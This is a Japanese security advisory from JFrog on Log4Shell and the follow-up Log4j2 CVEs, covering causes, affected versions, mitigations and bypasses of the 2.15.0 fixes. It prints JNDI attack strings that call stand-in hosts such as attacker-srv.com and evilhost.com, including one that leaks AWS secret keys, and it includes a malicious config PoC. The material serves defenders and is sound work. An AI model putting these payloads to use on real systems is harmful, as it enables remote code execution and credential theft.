Log4Shell ゼロデイ: 知っておくべきこと
2021/12/15 更新:
を追加2021/12/14 更新:より新しい Java バージョンでの Log4Shell エクスプロイト(シリアライズド Java オブジェクト バイパス)を追加
先週の木曜日、Alibaba Cloud Security Teamの研究者が、非常に人気の高いJava用 log4j ロギングフレームワーク(具体的にはLog4j2と呼ばれる2.xブランチ)を標的としたゼロデイのリモートコード実行エクスプロイトをTwitterに投稿しました。この脆弱性はアリババクラウドセキュリティチームが11月24日に発見し、Apacheに報告したものです。MITREはこの脆弱性に CVE-2021-44228を割り当て、それ以来セキュリティ研究者の間ではLog4Shellと呼ばれています。
JFrog は、Log4J の存在やリスクを把握するOSSツールをリリースしました
スキャンツールのダウンロード
12/9 以降この脆弱性は、容易にエクスプロイトが可能で(攻撃可能な PoC が公開済み)、そして Log4j が非常に人気があることから、多数の実際の攻撃が報告されメディアやソーシャルネットワークで広く扱われました。
このブログでは、この問題のエクスプロイト ベクトルを明らかにし、何が脆弱であるかについての正確な研究に裏付けられた新しくかつ正確な情報を提供し(ネット上では不正確な情報もありました)、log4j を容易にアップグレードできないベンダのための改善策を提案し、さらに JFrog 社に寄せられた切実な質問に答えます(ここ数日で出回った緩和策の有効性など)。
重要:JFrog 製品は、log4j-core パッケージを使用していないため、影響を受けません。
Log4Shellの脆弱性の原因は何か?
Log4j2 は、”Message Lookup Substitution” と呼ばれるログ機能をデフォルトでサポートしています。この機能は、特定の特別な文字列をロギング時に動的に生成された他の文字列に置き換えます。例えば、Running ${java:runtime}
という文字列をロギングすると、次のような出力になります。
Running Java version 1.7.0_67
ルックアップメソッドの1つである JNDI ルックアップ(JNDI は、Java Naming and Directory Interface の略で、Java アプリケーションにネーミングとディレクトリ機能を提供するインタフェース)、特に LDAP を利用した JNDI ルックアップにおいて、指定されたJava クラスをリモートソースから取得しメモリ展開してクラスのコードの一部を実行することが発見されました。
つまり、ログに記録された文字列の一部がリモートの攻撃者によって制御可能な場合、その攻撃者はその文字列をロギングしたアプリケーション上でリモートコードの実行を実現できることになります。
この問題を利用した最も一般的な置換文字列は以下です。
${jndi:ldap://somedomain.com}
この脆弱性は、以下のプロトコルでも攻撃可能です(一部のプロトコルはデフォルトでは使用できない場合があります)。
${jndi:ldaps://somedomain.com}
${jndi:rmi://somedomain.com}
${jndi:dns://somedomain.com}
(脆弱なサーバの検出が可能。コードの実行には至らない)
基本的な攻撃の流れは、下図のとおりです。
なぜ Log4Shell は危険なのか?
CVSS スコアで最高の 10.0 を獲得したこの脆弱性は、様々な要因から極めて危険です。
- エクスプロイトが容易であり、GitHub やその他の公開ソースで公開されている大量のエクスプロイトコードが使用できる
- Log4j2 は、最も人気のある Java ロギングフレームワークの1つであり、現在、log4j-core(脆弱なアーティファクト)に依存している Maven アーティファクトは約 7,000 個、そしてそれを使用している Java プロジェクトも無数に存在する
- ランダムに HTTP サーバに以下のようなリクエストを送信することで、ドライブ バイ アタック(ユーザの許可なしに攻撃スクリプト等のダウンロード、実行を可能とする攻撃)のシナリオに容易に利用することができる:
GET / HTTP/1.1
Host: somedomain.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}
あるいは、XSStrike のような自動化されたツールを使って、利用可能なすべての HTML 入力フィールドにペイロード文字列を入力することで、特定のウェブアプリに対してブルートフォース攻撃をすることもできる。
4. コンテキストに依存するものの、任意のユーザ入力が Log4j2 のログ機能のいずれかには必ず到達するため(次のセクションを参照)、攻撃シナリオを作ることは容易。ほとんどのロギング シナリオでは、ログ メッセージの一部はユーザからの入力を含み、この種の入力は、安全であると考えられているため、ほとんどサニタイズされていない
脆弱性が利用できるのは具体的にどのような場合か?
Java アプリケーションに脆弱性が存在するためには、以下の条件がすべて満たされている必要があります。
- Java アプリケーションが log4j (Maven パッケージ log4j-core) バージョン 2.0.0-2.12.1 または 2.13.0-2.14.1 を使用している(※ バージョン 2.12.2 は、 2.16.0 からのバックポート修正がなされているので脆弱ではない)
- リモート攻撃者が次の API を通じて任意の文字列をロギングさせることができるー
logger.info()
,logger.debug()
,logger.error()
,logger.fatal()
,logger.log()
,logger.trace()
,logger.warn()
- 使用している Java JRE / JDK のバージョンが次のバージョンよりも古い
- 6u211
- 7u201
- 8u191
- 11.0.1
上記より新しいバージョンでは、JVM プロパティのcom.sun.jndi.ldap.object.trustURLCodebase
がデフォルトで false に設定されており、任意の URL のコードベースからのクラスの JNDI ロードが無効になっています。
ただし、脆弱なアプリケーションのクラスパスに特定の「ガジェット」クラスが存在するマシンではエクスプロイトされる可能性が依然残るため、Java の新バージョンにのみ依存することは危険であることにご注意ください。付録B の「より新しい Java バージョンでの Log4Shell のエクスプロイト」を参照ください。
JFrog の製品は脆弱か?
JFrog プラットフォーム ソリューションはこの脆弱性の影響を受けないことを、JFrog セキュリティ チームが検証済みです。Artifactory、Xray、Distribution、Insight、Access、Mission Control を含むどの製品も log4j-core パッケージを使用していません。
誤解を避けるため、念を押します。JFrog 製品は以下のいずれの CVE の影響を受けません。
- CVE-2021-44228
- CVE-2021-45046
- CVE-2021-45105
- CVE-2021-44832
Log4j-api パッケージは脆弱か?
いくつかの勧告では、Maven パッケージ log4j-api は脆弱であるとしています。しかし、JFrog のセキュリティ リサーチ チームは、調査の結果 log4j-api 単体としては脆弱ではないと結論づけました。これは、JNDI ルックアップ
機能がないことによる帰着で、脆弱性のあるコードを起動することで容易に判断できます。
log4j-api のみをインストールした状態で上記のコードを実行すると、以下のような出力が得られます。
ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...
同じコードを SimpleLogger
クラスで実行すると、ルックアップ文字列はそのまま記録されますが、ルックアップコードはトリガーされません(存在しないので)。
この問題を完全に解決するにはどうするべきか?
この問題の最善の修正は、依存関係にある log4j をバージョン 2.16.0 にアップグレードすることです。これによりデフォルトで JNDI が無効になり、メッセージ ルックアップ機能が削除され、この問題を完全に解決します。
バージョン 2.15.0 にアップグレードすると、デフォルトの設定でリモート エ クスプロイトを完全に防ぐことができます。ただし、このバージョンで追加された緩和策のほとんどは、すでにバイパスされています(付録D 参照)。将来に備えて、できるだけ早く2.16.0 にアップグレードすることをお勧めします。
アップグレードせずに問題を軽減できるか?
Log4j のバージョンを脆弱性修正バージョンにアップグレードすることで問題を完全に解決することをお勧めしますが、アップグレードせずに問題を完全に緩和することは可能です。
緩和策1:Log4j 2.10.0 以降のバージョンの場合は、ルックアップを無効にする
更新 ー この緩和策では、CVE-2021-45046 を利用することで、稀なデフォルト以外の設定時にバイパス可能となります。 詳細は
を参照ください。 新しい Log4j2 のバージョンにアップグレードできないベンダには、この緩和策1と次の緩和策2の両方を適用することを引き続き推奨します。緩和策2(脆弱なクラスの削除)は、CVE-2021-45046 の影響を受けません。Log4j 2.10.0 またはそれ以降のバージョンを使用している場合、システムの init スクリプトのうち1つで Java アプリケーションのロード前のタイミングで次のコマンドを実行して、環境変数LOG4J_FORMAT_MSG_NO_LOOKUPS
をtrue
に設定することにより、グローバルにメッセージルックアップを無効化することを推奨します。
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
あるいは、/etc/environment ファイルに次の行を追加することで、システム全体に対して無効化することもできます。
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
この方法は、すべての Log4j 依存関係が適切に更新されていない疑いがある場合の追加保護対策になります。また、脆弱なバージョンの Log4j を含むか依存しているパッチ未適用のサードパーティの Java パッケージから保護することもできます。
また、脆弱な Java アプリケーションを実行時に次のコマンドラインフラグを追加することで、JVM の特定の呼び出しに対してルックアップを無効にできます: ‐Dlog4j2.formatMsgNoLookups=True
例:
java ‐Dlog4j2.formatMsgNoLookups=True -jar vulnerable.jar
緩和策2:古い Log4j バージョンの場合は、脆弱なクラスを削除する
2.10.0 より古い Log4j のバージョンを使用している場合、次のコマンドを実行することで、あらゆる Java アプリケーションから JNDI ルックアップ
クラスを削除できます。
find ./ -type f -name "log4j-core-*.jar" -exec zip -q -d "{}" org/apache/logging/log4j/core/lookup/JndiLookup.class \;
これにより、カレントディレクトリから始まるすべての log4j-core の JAR ファイルを再帰的に検出し、そこから脆弱な JNDIルックアップ
クラスを削除します。完全な削除を行うには、このコマンドをシステムのルート・ディレクトリから実行します。
注意:この方法は最終的な手段としてのみ推奨されます。脆弱な JNDIルックアップ
クラスが、再帰的な JAR ファイルに組み込まれていたり、zip コマンドがアクセスできない場所に存在する可能性があるためです。この方法を選択する場合は、どの Java アプリケーションでも JNDIルックアップ
クラスを利用できないことを手動で確認することを強く推奨します。
JFrog Xrayでこの脆弱性を検出するにはどうすればよいか?
Xray は通常のスキャンにてCVE-2021-44228を検出します。いつものように CI/CD の一環で検出できるわけです。
JFrog CLI:
JFrog IDE プラグイン:
付録A:
脆弱な例
リモートエクスプロイトが可能なアプリケーションの例(LunaSec社のアドバイザリより):
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = "Hello There, " + userAgent + "!";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
付録B:
より新しい Java バージョンでの Log4Shell のエクスプロイト
方法1:他のメッセージルックアップの悪用
新しい Java バージョンでは、JNDI のリモート クラス ローディングが無効になっていますが、メッセージ ルックアップ自体はまだ機能しており、さまざまな目的に濫用できてしまいます。
- 前述のように、
${jndi:dns://dnsserver.com/somedomain}
のような文字列を使用すると、犠牲者が dnsserver.com に DNS クエリを送信するようになります(somedomain の DNS レコードについてのクエリ)。これは、脆弱な log4j インスタンスを検出するために使用でき、データをトンネリングバックしたり、あるいは、DDoS 攻撃として使用できます(脆弱なサービスと併用して)。 - 犠牲者のマシンの機密情報を明らかにするいくつかのルックアップ置換があります。最も顕著なのはこのような攻撃文字列です。
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker-srv.com/foo}
この環境変数 AWS_SECRET_ACCESS_KEY が脆弱な log4j プロセスにエクスポートされていた場合、機密である AWS アクセスキーがリークする可能性があります(任意のプロトコルで可能)。当然のことながら、攻撃文字列は脆弱な log4j プロセスに存在する任意の環境変数値をリークするように変更できます。他の注目すべき情報漏洩のルックアップは以下の通りです。${main:x}
– コマンドライン引数 #x の値をリークします。この引数には、コマンドラインで渡されたパスワードやアクセスキーなどの機密データが含まれている可能性があります。${sys:propname}
– Java システムプロパティの値をリークします。例えば、現在のユーザ名(user.name
)をリークさせるのに利用できます。
方法2:他のメッセージルックアップの悪用
この Veracode社のブログで網羅的に説明されているように、リモート逆シリアライゼーションが無効になっている新しいバージョンの Java であっても、JNDIインジェクションをエクスプロイトする方法があります。
例えば、org.apache.naming.factory.BeanFactory
クラス(通常、Apache Tomcat サーバに同梱されている)が、Log4j を使用する脆弱なアプリケーションのクラスパスで利用可能な場合、基盤となる JRE/JDK のバージョンに関係なくLog4Shell 脆弱性をエクスプロイトしてリモート コードを実行できます。
これは、より新しいバージョンの Java がリモートの任意のクラスを逆シリアライズしないとしても、攻撃者は供給された JNDI リファレンスを通じて、ファクトリ クラスとその属性を制御できるという事実によるものです。
リモート攻撃者は、任意のファクトリ クラスを提供することはできませんが、脆弱なプログラムのクラスパスにある任意のファクトリ クラスをガジェットとして再利用できます。
使用可能なファクトリ クラスは以下のような特性を持っています。
- 脆弱なプログラムのクラスパスに存在する
- ObjectFactory インタ フェースを実装している
getObjectInstance
メソッドを実装しているReference
の属性で危険な動作を行う
JFrog リサーチ チームは、Reflectionの 危険な使用により、BeanFactory
クラスがこの条件に当てはまることを確認しました。攻撃者が制御できる Reflection の文字列属性のみに基づいて、任意の Java コードオブジェクトが作成されます。
このブログでは、脆弱なアプリケーションのクラスパスに BeanFactory
クラスが存在するマシン上で、新しい Java バージョンの Log4Shell を悪用するために使用できる、適切な Reflection を持つ RMI サーバをホストするための完全なエクスプロイトコードを参照しています。
このようなサーバを使用する場合の Log4Shell 攻撃文字列は次のようになることに注意してください。
${jndi:rmi://attacker-srv.com/foo}
ただし、提供される RMI サーバは、ldap または ldaps サーバに変更することもでき、その場合、攻撃文字列はそれに応じて変更されます。
今後、BeanFactory
クラスのような他の “ファクトリ ガジェット” が発見される可能性があるため、Log4Shell に対する唯一の対応策として新しい Java バージョンに頼ることをせず、Log4j のアップグレードおよび/または JFrog が提案する緩和策のいくつかを実施することを強く推奨します。
方法3:ローカル ガジェット クラスを持つシリアライズされた Java オブジェクトの使用
前述のように、素朴な攻撃ベクトルは、Log4j2 を使用した脆弱なアプリケーションに対して、(通常は)LDAP 経由でリモートのシリアライズされたクラスを取得させ、ロードを仕向けるものです。これにより、攻撃者はクラスのコンテンツを完全に制御することができます。
しかし、LDAPは、javaSerializedData
属性を使用して LDAP リクエスト自体でシリアライズされた Java オブジェクト(クラスのインスタンス)を送信することもサポートしています。
オブジェクトの逆シリアライズは、オブジェクトのクラスが現在のクラスパス(クラス検索時に参照されるディレクトリや JAR ファイルのリスト)に存在する場合にのみ可能です。
重要なことは、オブジェクトを逆シリアライズする場合には trustURLCodebase
による緩和策は効果がないということです。なぜなら、この緩和策は新しいコードベースのロードを防ぐだけだからです。
特定のオブジェクトが逆シリアライズされると、リモートコード実行に直結することはよく知られています。これらのオブジェクトのベースとなるクラスは、俗に「ガジェット」と呼ばれています。
例えば、ysoserial proof-of-concept ツールは、これらのよく知られたガジェットのいくつかを集約し、任意のコード実行ペイロードを持つオブジェクトの生成を行えます。
したがって、特定の「ガジェット」クラスが脆弱なアプリケーションのクラスパスに存在することを知っている攻撃者は、そのようなオブジェクトを生成してLDAP経由で送信することで、javaSerializedData
属性に関係なく逆シリアライズされたときにコード実行が可能になります。
さらに、上述した Log4Shell の情報漏洩の特性により、攻撃者は、最初に脆弱なアプリケーションから特定のシステム プロパティを照会し(再帰的な検索を使用して)、脆弱なアプリケーションにガジェット クラスが存在するかどうかを判断し、リモート コードを実行するためにターゲット固有のペイロードを構築する完全に自動化されたツールを構築することができるかもしれません。
今日まで、このようなツールが一般に公開されたり、使用されたりしている形跡はありませんが、残念ながら、この悪意のあるキャンペーンはまだ終わっていないと考えています。
CVE-2021-45046 を利用した、LOG4J_FORMAT_MSG_NO_LOOKUPS
による緩和策のバイパスについて
まず知っておくべき事実は、このバイパスを実現するための前提条件がそろうことは稀なため、大多数のケースでは LOG4J_FORMAT_MSG_NO_LOOKUPS
の緩和策は有効であるということです。
CVE-2021-45046 が公開されたことにより、提案されている緩和策の1つである「メッセージ ルックアップの無効化」が、デフォルト以外の特定の設定時にはバイパスできることが公になりました。
結論としては、Log4j2 2.10.0 – 2.14.1 において CVE-2021-45046 のエクスプロイトが可能であれば、環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS
による緩和策と、システム プロパティ log4j2.noFormatMsgLookup
による緩和策の両方が攻撃者によってバイパス可能です。
では、CVE-2021-45046 のエクスプロイトが可能となる条件は何でしょうか?
(これは、同様の条件例を実装したコミュニティプロジェクト の功績によります)
-
新たなパターンレイアウトをLog4j2に追加している。さらにそれがコンテキスト・ルックアップ(
${ctx:
)を使用している。脆弱なlog4j2.properties
ファイルの例は以下のとおり:# vulnerable in 2.14.1 even with ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
は、様々な方法で行うことができ、いずれにしても、デフォルトのコンテキスト ルックアップ パターンのレイアウトではないことに注意が必要。
-
Thread Context の Map 機能を使用している。ここはが例えば攻撃者が入力データをコントロールできるポイントとなる。例は以下のとおり:
public void handle(HttpExchange he) throws IOException { // userAgent is attacker-controlled String userAgent = he.getRequestHeader("User-Agent"); // Note that 1st argument matches the variable name from the configured pattern ThreadContext.put("useragent", userAgent); // The log message itself doesn't need to contain any message lookup log.info("Received a request with User-Agent"); ...
これらの条件が共に成立する場合、攻撃者は攻撃用トークンを「通常通り」に送信することができます。例えば、攻撃者は次のような HTTP リクエストを送信することができます。
GET / HTTP/1.1 Host: somedomain.com User-Agent: ${jndi:ldap://attacker-srv.com/foo}
このようなHTTPリクエストにて、LOG4J_FORMAT_MSG_NO_LOOKUPS
による緩和策を施していてもコード実行が成功します。
更新 #1:@pwntester がツイートした、脆弱なパターンの例を紹介します。
MapMessage
パターン レイアウト例:
appender.console.layout.pattern = ${map:tainted} ...
ユーザ管理データを渡す Java コードの例 (TAINTED):
MapMessage msg = new StringMapMessage().with("message", "H").with("tainted", TAINTED);
logger.error(msg);
Jackson (Jackson がアプリケーションのクラスパスに存在する場合のみ)
パターン レイアウト例:
appender.console.layout.pattern = ${map:tainted} ...
ユーザ管理データを渡す Java コードの例 (TAINTED):
logger.info(new ObjectMessage(TAINTED));
StructuredDataMessage
パターン レイアウト例:
appender.console.layout.pattern = ${sd:tainted} ...
ユーザ管理データを渡す Java コードの例 (TAINTED):
StructuredDataMessage m = new StructuredDataMessage("1", "H", "event");
m.put("tainted", TAINTED);
logger.error(m);
更新 #2:JFrog セキュリティ リサーチ チームが発見・検証した脆弱なパターンの例の追加
環境変数
パターンレイアウト例:
appender.console.layout.pattern = ${env:TAINTED_ENV_VAR} ...
main 引数
パターンレイアウト例:
appender.console.layout.pattern = ${main:0} ...
ユーザ管理データを渡す Java コードの例 (TAINTED):
MainMapLookup.setMainArguments(args);
logger.error("foo");
イベント(メッセージ)
設定例:
<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN" name="RoutingTest"> <Appenders> <Routing name="Routing"> <Routes> <Route pattern="aaa"> <Console name="STDOUT"> <PatternLayout> <pattern>${event:Message} ... </pattern> </PatternLayout> </Console> </Route> </Routes> </Routing> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Routing" /> </Root> </Loggers> </Configuration>
This will effectively turn message lookups back on. As such, exploitation can be performed similarly to older Log4j versions -logger.info("${jndi:ldap://attacker.com/foo}");
Log4j2 2.15.0 では、Log4Shell (CVE-2021-44228) のエクスプロイトを防ぐため、いくつかの重要な緩和策が追加されています。
以下は、追加された緩和策とその現在のバイパス可否状況です。
- メッセージ ルックアップはデフォルトで無効 ー バイパス可 (CVE-2021-45046 等)
allowedJndiProtocols
[JNDI に、デフォルトで LDAP, LDAPS, Java (local) のプロトコルのみを許可]ー 既知のバイパス無しallowedLdapHosts
[JNDI over LDAP に、デフォルトではローカルホストにのみアクセスを許可 (127.0.0.1/localhost)]ー 常にバイパス可allowedLdapClasses
[JNDI over LDAP に、デフォルトで Java のプリミティブ クラスのみロードを許可]ー 常にバイパス可
緩和策3および緩和策4がバイパス可能であり、このエクスプロイトはリモートコード実行(RCE)に直結するため、CVE-2021-45046 の深刻度は「低」(3.7)から「重要」(9.0)にアップグレードされました。しかし前述のとおり、CVE-2021-45046 をエクスプロイトするための前提条件は、まれなデフォルト外設定を必要とすることから、成立する可能性は極めて低いと考えています。
以下は、いくつかの具体的なバイパスについての詳細です。
「メッセージ ルックアップのデフォルト無効化」の場合:
この緩和策は、以下の方法で回避することができます。
-
- 付録 C で言及した構成のいずれか
- アプリケーションが明示的にメッセージ ルックアップを許可している場合、構成ファイルのいずれかで
%m{lookups}
を含むパターン レイアウトを定義している。例:appender.console.layout.pattern = %m{lookups}
前述のとおり、Log4j2 2.15.0 においてこの緩和策をバイパスされると、現在のところリモートコード実行に直結します。
「JNDI over LDAP に、デフォルトではローカルホストにのみアクセスを許可」の場合:
@marcioalm 氏のツイートによると、 ${jndi:ldap://127.0.0.1#evilhost.com:1389/a}
のような攻撃文字列は、ローカルホストの制限をバイパスし、リモートの evilhost.com
にコネクトさせます。このバイパスは、脆弱なアプリケーションが macOS および FreeBSD 上で動作する場合にのみ再現できました。また、Fedora、Arch Linux、Alpine Linux にも脆弱性があることが報告されています。その他の OS では、Java が UnknownHostException
を生じます(Ubuntu, Debian, Windowsで確認)。
「JNDI over LDAP に、デフォルトで Java のプリミティブ クラスのみロードを許可」の場合:
デフォルト以外の設定で JNDI が有効になっている場合、以下のバイパス方法はバージョン 2.16.0 でも有効であることに注意が必要です。
バイパス #1 ー Time-of-check 攻撃、Time-of-use 攻撃
この脆弱性は、JFrog のセキュリティ リサーチチームおよび他のセキュリティ研究者によって独自に発見され、Apache に公開されました。
バージョン 2.15.0 で導入されたクラスローディングの緩和策は、まず getAttributes を呼び出して要求された LDAP 属性を検査し、その後 lookup を呼び出して LDAP で指定されたクラス/オブジェクトをロードします。
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
// GET THE CLASS ATTRIBUTES
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
// CLASS LOADING CHECKS HERE
...
}
...
}
...
// LOAD THE CLASS
return (T) this.context.lookup(name);
...
しかしながら、getAttributes と lookup の両方の呼び出しにより、別々の LDAP リクエストが送信されます。
悪意のあるサーバは、getAttributes
と lookup
の両方のリクエストに対して同じ LDAP レスポンスを送り返す必要はありません。
したがって、攻撃者は次のように動作する LDAP サーバを簡単に構築することができます。
- LDAP リクエスト #1で、NULL 属性を持つレスポンスを送り返す(Log4j コードがすべての属性チェックをスキップする原因となる)
- LDAPリクエスト #2で、悪意あるレスポンスを返信(例:
javaCodeBase
の攻撃者の URL)
これは、古典的な ToCToU(Time-of-Check, Time-of-Use)攻撃ですが、攻撃者のサーバが同期的に参照されるため、競合は生じません。
メリット ー 脆弱なアプリケーションのクラスパス上に「ガジェット」クラスの有無に依存しない
デメリット ー 新しい Java バージョン(trustURLCodebase
が false の場合)では、リモートコードベースの読み込みがブロックされる
バイパス #2 ー 偽造された名前によってシリアライズされたオブジェクトの使用
埋め込まれた Java オブジェクトを逆シリアライズするときに、オブジェクトのクラスチェックの実装が不完全でした。クラスの比較は名前のみで行われてしまいます。
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
そのため攻撃者は LDAP レスポンスにシリアルライズされた任意のオブジェクトを指定し、その javaClassName
をプリミティブ タイプのいずれかに設定することで、チェックを回避することができます。
private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),
Byte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),
Integer.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());
前述のシリアライズされたオブジェクトのバイパスと同様に、これはシリアライズされたオブジェクトの適切な「ガジェット」クラスがローカルのクラスパス中に存在するかどうかに依存しています。
メリット ー 新しい Java バージョンで動作する(trustURLCodebase
が false の場合)
デメリット ー 脆弱なアプリケーションのクラスパスに「ガジェット」クラスが存在することに依存する
最近、Log4j2 への新たなサービス拒否の CVE が公開されました – CVE-2021-45105、CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)です。JFrog セキュリティチームは、バージョン 2.16.0 の CVE データと記載内容を検証し、CVSSを 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)と推定しました。これは以下に基づいています。
CVE エクスプロイトの前提条件
CVE には明示されていませんが、この攻撃の前提条件は CVE-2021-45046 とまったく同じです。つまり、攻撃者はパターンレイアウトのうちメッセージ以外の部分を制御する必要があります。したがって、CVE に記載されているエクスプロイト ケース(「スレッド コンテキスト マップを制御する攻撃者」)は、適用可能なケースの1つに過ぎません。実際には、攻撃者は 付録 C で言及したデフォルト以外の構成を濫用することができます。例えば、MapMessage
を含む構成パターンは、(攻撃者が汚染された変数を制御している限り)アプリケーションは脆弱です。
appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n
JFrog の見解では、このようなデフォルトではない(可能性の低い)設定が必要となるため、この問題の攻撃の複雑さは「高」になります。
DoS 攻撃の影響
公開されている攻撃文字列 ${::-${::-${}}}
を、脆弱な設定の Log4j2 バージョン 2.16.0 で実行すると、IllegalStateException
が発生します。
この文字列は、過剰なCPUやメモリの使用を引き起こさないため、DoSの影響(もしあったとしても)は、システム全体に影響を与えるものにはならないはずです。デフォルトでは、Log4j2 Appendersでは例外は無視されるため(ログに記録されるのみ)、例外がサーバをクラッシュさせることはなく、DoS の影響は完全に軽減されます。
private void handleAppenderError(final LogEvent event, final RuntimeException ex) {
appender.getHandler().error(createErrorMsg("An exception occurred processing Appender "), event, ex);
if (!appender.ignoreExceptions()) { // ignoreExceptions=true, by default
throw ex;
}
}
オフィシャルな修正
この問題は、Log4j2 をバージョン 2.17.0 にアップグレードすることで修正できます。
公式の修正プログラム(バージョン2.17.0)では、PoC のエッジケースを処理するためにStrSubstitutor
のロジックを変更し、同様の入力に直面しても例外を生じないようにしています。
レガシー(Java 7)ユーザ向けには、この問題を修正したバージョン 2.12.3 がリリースされることが示唆されていますが、本稿執筆時点ではそのようなバージョンはありません。
緩和策
この問題は JNDI に関連していないため、これまで述べてきた緩和策(JNDI ルックアップ
クラスの削除等)では、この問題を緩和できません。
この問題を緩和するためには、例外が無視されないようなデフォルト以外のケースでは、ベンダはロギングコードを例外ハンドラでラップすることで、DoS に及ばないようにすることができます。
要約すると:この CVE は現在のところ、実稼働中の Web アプリケーションに現実的な脅威をもたらすものではないようです。
前述のとおり、JFrog による CVSS 推定値は 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)です。
ベンダには、2.16.0 のデプロイメントを 2.17.0 にアップグレードする前に、古い Log4j2 を2.16.0 にアップグレードすることに注力することをお勧めします。
2013/07/18 ー 脆弱な JNDI ルックアップ機能 がコミットされる
2021/11/24 ー アリババ社の Chen Zhaojun が Apache に脆弱性を報告
2021/11/26 ー CVE-2021-44228 が MITRE によりアサインされる
2021/12/01 ー 脆弱性の最も早いエクスプロイトエビデンス (Cloudflare 社による)が、脆弱性詳細が公表前に流出したことを示唆
2021/12/05 ー Apache の開発者が、この問題を解決するためにバグ チケットを作成し、リリースバージョン 2.15.0 がターゲットフィックス バージョンとされる
2021/12/09 ー CVE-2021-44228 が公開される(Log4Shell オリジナル CVE)
2021/12/09 ー セキュリティ研究者がゼロデイ エクスプロイト コードをツィート。後にそのツィートは削除
2021/12/10 ー Version 2.15.0 がリリースされる(CVE-2021-44228 の修正版) 。メッセージ ルックアップ機能をデフォルトで無効にし、JNDI の操作では特定のクラスとホスト名に制限
2021/12/10 ー Minecraft サーバへの攻撃を観察
2021/12/13 ー Version 2.16.0 がリリースされる(CVE-2021-45046 の修正)。メッセージ ルックアップ機能が完全に削除され(いかなる設定でも有効化不可)、JNDI サポートがデフォルトで無効(有効化可能)
2021/12/14 ー CVE-2021-45046 が公開される。Log4Shellがデフォルト以外の設定でエクスプロイト可能であることが示さたが、深刻な影響は無し 2021/12/15 ー Version 2.12.2 がリリースされる(2.16.0 と類似の修正)。Java 7 へのバックポート対応
2021/12/16 ー CVE-2021-45046 の CVSS が 9.0 に引き上げられる。Log4J 2.15.0 のホスト名とクラスの緩和策にいくつかのバイパスが発見されたため
2021/12/18 ー CVE-2021-45105 が公開される。Log4J の文字列置換にマイナーなバグがあり、デフォルト以外の設定では例外が発生する可能性があることが判明
2021/12/18 ー Version 2.17.0 がリリースされる(CVE-2021-45105 の修正)。文字列置換が再実装され、JNDI がローカルでのみ有効に
2021/12/22 ー Version 2.12.3 がリリースされる (2.17.0 と類似の修正)。Java 7 へのバックポート対応
2021/12/22 ー Version 2.3.1 がリリースされる (2.17.0 と類似の修正)。Java 6 へのバックポート対応
Log4j2 2.17.0 におけるリモートコード実行の追加の CVE – CVE-2021-44832 が公開されました。CVSS 6.6 (AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) です。
このCVEは、Log4j のバージョン 2.17.1(Java 8)、2.13.4(Java 7)、2.3.2(Java 6)で修正されています。
この CVE は、前提条件が非常に高く(後述)、実世界のシステムに影響を与える可能性は低いと考えられます。
現時点では、Log4j2 2.17.0(または同等のバージョン)からのアップグレードは緊急ではないと考えています。
CVE の前提条件
現時点では、攻撃者が Log4j の設定ファイルを直接制御できる場合、特に任意の属性を持つ「JDBCAppender」を追加できる場合にのみ、この脆弱性のエクスプロイトが可能です。
この脆弱性は、「JDBCAppender」がその DataSource
属性に JNDI データソースを受け入れることによって発生します。
JNDI データソースにアクセスする際、リモートプロトコル(LDAPなど)は依然として利用可能なため、ldap://attacker.com:1337
のような文字列を指定すると、脆弱であるアプリが攻撃者のサーバにコンタクトし、リモートクラスやシリアライズされたオブジェクトをロードしてしまいます。
PoC
以下は、脆弱性を誘引する極最小限の設定ファイルです。
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN" name="Config1">
<Appenders>
<JDBC name="jdbcTest">
<DataSource jndiName="ldap://attacker.com:1337/Exploit" />
</JDBC>
</Appenders>
</Configuration>
前述のように、Log4j は多くの異なるフォーマット(JSON、YAML、プロパティ等)を介して利用できるので、これは有効な PoC の一例に過ぎません。
脆弱なアプリケーションが実際に何かを記録する必要はありませんが、ロガーは例えば以下のように初期化される必要があることに注意してください。
Logger logger = LogManager.getLogger("HelloWorld");
オフィシャルな修正
この問題は、Log4j2 をバージョン 2.17.1 (Java 8)、2.13.4 (Java 7)、または 2.3.2 (Java 6) にアップグレードすることで解決できます。
